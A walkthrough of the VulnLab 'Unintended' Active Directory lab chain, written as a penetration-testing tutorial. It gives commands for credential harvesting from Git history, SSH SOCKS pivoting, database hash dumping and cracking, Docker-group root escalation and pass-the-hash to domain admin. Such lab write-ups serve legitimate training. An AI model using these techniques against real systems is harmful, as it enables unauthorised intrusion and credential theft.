Unintended VulnLab Chain - Complete Walkthrough and Writeup
Welcome to this comprehensive walkthrough and writeup for the Unintended chain from VulnLab, a challenging Pro-Lab now on Hack the Box. This detailed guide covers the complete exploitation path through a multi-machine Active Directory environment, demonstrating real-world attack techniques used in professional penetration testing engagements.
Chain Difficulty: Medium
Lab Type: VulnLab - HTB Chain / Pro-Lab
Skills Required: Active Directory enumeration, lateral movement, privilege escalation, Docker exploitation
This writeup is designed for penetration testers and ethical hackers looking to enhance their skills in complex multi-host environments. Whether you’re preparing for OSCP, OSEP, or simply improving your red team capabilities, this walkthrough provides valuable insights into comprehensive network exploitation.
Initial Reconnaissance
We initially discover three IP addresses in the target environment:
1 | 10.10.231.229 DC.unintended.vl |
Nmap Scan - DC (10.10.231.229)
Running a comprehensive Nmap scan against the domain controller reveals:
1 | PORT STATE SERVICE REASON VERSION |
Key Observations:
- Linux-based Active Directory Domain Controller (Samba)
- Anonymous LDAP bind enabled - excellent enumeration vector
- SSL certificate reveals:
commonName=DC.unintended.vl
Let’s add the domain to our /etc/hosts file:
1 | unintended.vl DC.unintended.vl |
Nmap Scan - Web Server (10.10.231.230)
1 | PORT STATE SERVICE REASON VERSION |
Discovered Services:
Port 80 - Under Construction page with countdown timer:
Notable finding: Email address admin@web.unintended.vl discovered in page source.
Port 8065 - Mattermost instance (team collaboration platform):
Port 8200 - Duplicati backup service:
Nmap Scan - Backup Server (10.10.231.231)
1 | PORT STATE SERVICE REASON VERSION |
Active Directory Enumeration
SMB Null Authentication
Testing for null authentication on the domain controller:
1 | nxc smb dc -u '' -p '' --users |

Discovered Users:
1 | juan |
LDAP Enumeration
Extracting base LDAP information:
1 | ldapsearch -H ldap://dc.unintended.vl -x -LLL -s base |
AS-REP Roasting Attempt
Checking for accounts without Kerberos pre-authentication:
1 | GetNPUsers.py -usersfile ~/Downloads/unin/usernames.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip 10.10.231.229 unintended.vl/ |
Unfortunately, no accounts have the DONT_REQUIRE_PREAUTH flag set.
DNS Enumeration - Critical Discovery
With standard attack vectors exhausted, we pivot to DNS enumeration:
1 | dnsenum --dnsserver 10.10.231.229 --enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt unintended.vl |

Discovered DNS Records:
1 | web.unintended.vl. 900 IN A 10.10.10.12 |
Analysis:
- Internal IPs differ from external IPs
dc.unintended.vl→10.10.180.2110.10.10.12/10.10.180.22→10.10.231.230(web server)10.10.10.13/10.10.180.23→10.10.231.231(backup server)
Update /etc/hosts:
1 | 10.10.231.230 web.unintended.vl chat.unintended.vl code.unintended.vl |
Gitea Repository Discovery
Accessing http://code.unintended.vl/ reveals a Gitea instance:

Repository Analysis - DevOps Repo
Examining commit history in the juan/DevOps repository yields multiple sensitive findings:
1. SSH Public Keys Discovery
Found SSH keys for:
ratul@devopsnanee@devops
2. MySQL Database Credentials
Commit: http://code.unintended.vl/juan/DevOps/commit/7c54501b040a15a0e57beade1c8910609ec7c785
1 | FROM mysql:latest |
While these credentials may not grant immediate access, they reveal the organization’s password complexity policy - a crucial finding for future password spraying attacks.
3. FTP Credentials (Deleted)
Commit: http://code.unintended.vl/juan/DevOps/commit/75f1f713696016f7713e33f836b05ce14784fc22
1 | ENV APP_SECRET 6SU28SH286DY8HS7D |
SFTP Access and Tunneling
Initial SFTP Connection
Attempting SSH authentication with discovered credentials:
1 | ssh ftp_user@10.10.231.230 |
Returns: This service allows sftp connections only.
Connecting via SFTP:
1 | sftp ftp_user@10.10.231.230 |

The SFTP directory appears empty initially, but we can leverage this access for network pivoting.
SSH Dynamic Port Forwarding
Using SFTP credentials to establish a SOCKS proxy:
1 | ssh -D 1080 -N ftp_user@10.10.231.230 |
ProxyChains Configuration:
Edit /etc/proxychains4.conf:
1 | socks4 127.0.0.1 1080 |
Important: Use proxychains4 specifically to avoid system instability.
Internal Network Scanning
Scanning localhost through the tunnel to discover internal services:
1 | proxychains4 nmap -sT -Pn -4 -n \ |
Discovered Internal Ports:
1 | PORT STATE SERVICE |
MySQL Database Exploitation
Database Access
Using previously discovered MySQL credentials:
1 | proxychains4 mysql -h 127.0.0.1 -u root -p |
Available Databases:
1 | MySQL [(none)]> show databases; |
Gitea User Credential Extraction
1 | use gitea; |
Extracting user credentials:
1 | select email,passwd,passwd_hash_algo,salt,is_admin from user; |

Hash Cracking
Hash Format: The hashes require reformatting to:
1 | sha256:<iterations>:<base64_salt>:<base64_hash> |
Base64 Encoding Process:
1 | echo '6f7cf4aa34-----------f9f7ca342fa5' | xxd -r -p | base64 |
Formatted Hash Example:
1 | sha256:50000:b3z0qjT+uSIJLvn3yjQvpQ==:9Xo9XRm----------------------------- |
Cracking Result:
- Administrator password successfully cracked
- Juan’s password: Failed to crack
Credentials Found:
1 | administrator:<PASS> (Gitea Admin) |
Gitea Administrator Access
Home Backup Repository
Logging into Gitea as administrator reveals a new repository: home-backup
This repository contains a backup of user Juan’s home directory. Examining .bash_history:

Credentials Obtained:
1 | juan:<REDACTED> |
LDAP Enumeration with Valid Credentials
Now with valid domain credentials, we can perform deeper enumeration:
1 | netexec ldap dc -u 'juan' -p '<REDACTED>' --query "(sAMAccountName=juan)" "" |
Group Memberships:
juan→ Member of Web Developers groupabbie→ Member of Backup Operators group
Computer Enumeration
1 | netexec ldap dc -u 'juan' -p '<REDACTED>' --query "(objectCategory=computer)" "" |
Computer Accounts and SPNs:
BACKUP Computer:
1 | dNSHostName: backup.unintended.vl |
WEB Computer:
1 | dNSHostName: web.unintended.vl |
Lateral Movement - Web Server
SSH Access as Juan
Given Juan’s membership in the Web Developers group:
1 | ssh -l juan@unintended.vl web.unintended.vl |
Success! We now have shell access to the web server.
Initial Host Enumeration
1 | juan@unintended.vl@web://home$ ls |
Observations:
svcuser exists locally (not a domain account)- No sudo privileges for juan
- Standard privilege escalation paths unsuccessful
Mattermost Access and Intelligence Gathering
Testing Juan’s credentials against the Mattermost instance (port 8065):
Success! Credentials work on Mattermost.
Chat Log Analysis

Critical Intelligence:
- Multiple references to PostgreSQL running on the WEB machine
- Database architecture discussions
- Potential credential reuse patterns
PostgreSQL Discovery
Confirming PostgreSQL is running in a Docker container:

Container Network: PostgreSQL runs on 172.21.0.3:5432 (not 172.21.0.2)
Verification:
1 | proxychains4 nc -vz 172.21.0.3 5432 |
(remmember to setup proxychains4 use -D port on the ssh command)
Output:
1 | [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.21.0.3:5432 ... OK |
Mattermost Database Exploitation
Default Credential Research
Consulting Mattermost Docker documentation:
https://github.com/mattermost/docker/blob/main/env.example

Database Access
1 | proxychains4 psql -h 172.21.0.3 -d mattermost -U mmuser |
User Credential Extraction
1 | SELECT username, |

Extracted Hashes:
1 | $2a$10$XVsJbRoMGb3N------------------------------------- |
Hash Type: bcrypt [Blowfish 32/64 X3]
Password Cracking - Custom Wordlist
Intelligence-Driven Approach
Based on chat log intelligence indicating passwords follow a pattern of Name + Birth Year, we create a custom wordlist:
1 | # Usernames and year range |
Hash Cracking
1 | john p_hash --wordlist=./usernames_with_years.txt |

Cracked Credential:
1 | <RUN THE SCRIPT> |
Domain Credential Discovery
Mattermost as Abbie
Logging into Mattermost as Abbie reveals a private conversation with cadams:

Domain Credentials Obtained:
1 | abbie:<REDACTED> |
Credential Validation
1 | netexec smb dc -u abbie -p '<REDACTED>' --shares |
Validation successful! Abbie has valid domain credentials.
Privilege Escalation - Backup Server
SSH Access as Abbie
Given Abbie’s membership in Backup Operators:
1 | ssh -l abbie@unintended.vl backup.unintended.vl |

Success! Shell access obtained on the backup server.
Docker Group Membership
Checking group memberships reveals Abbie is in the docker group - a critical privilege escalation vector.
Root Privilege Escalation
List available Docker images:
1 | docker image ls |
Execute privileged container:
1 | docker run -v /:/mnt --rm -it python:3.11.2-slim chroot /mnt sh |

Root access achieved!
FTP Administrator Credentials
While exploring the system as root, we discover FTP admin credentials:

1 | Username: ftp_admin |
Domain Administrator Compromise
FTP Backup Analysis
Connecting to FTP with admin credentials reveals:

Critical Discovery:
- Duplicati backups
- Active Directory domain database backups
NTDS.dit Secrets Extraction

Tool Requirements:
1 | sudo apt install ldb-tools |
Extraction Process:
Reference:
https://samba.tranquil.it/doc/en/samba_fundamentals-about_password_hash.html
Extract Administrator hash:
1 | ldbsearch -H ./sam.ldb '(objectClass=user)' sAMAccountName 'unicodepwd' |
Convert hash format:
1 | python3 -c "import codecs, binascii; print(binascii.hexlify(codecs.decode(b'<HASH>', 'base64')).decode())" |
Pass-the-Hash Attack
Using the extracted NTLM hash:
1 | smbclient.py unintended.vl/administrator@dc -no-pass -hashes :36fe241ea0eaa---------- |
Access administrator’s home share:
1 | use home |
Domain Administrator access achieved!
Lab Link:
https://api.vulnlab.com/api/v1/share?id=4f044c96-ae6d-4745-9233-5b6b559a58cf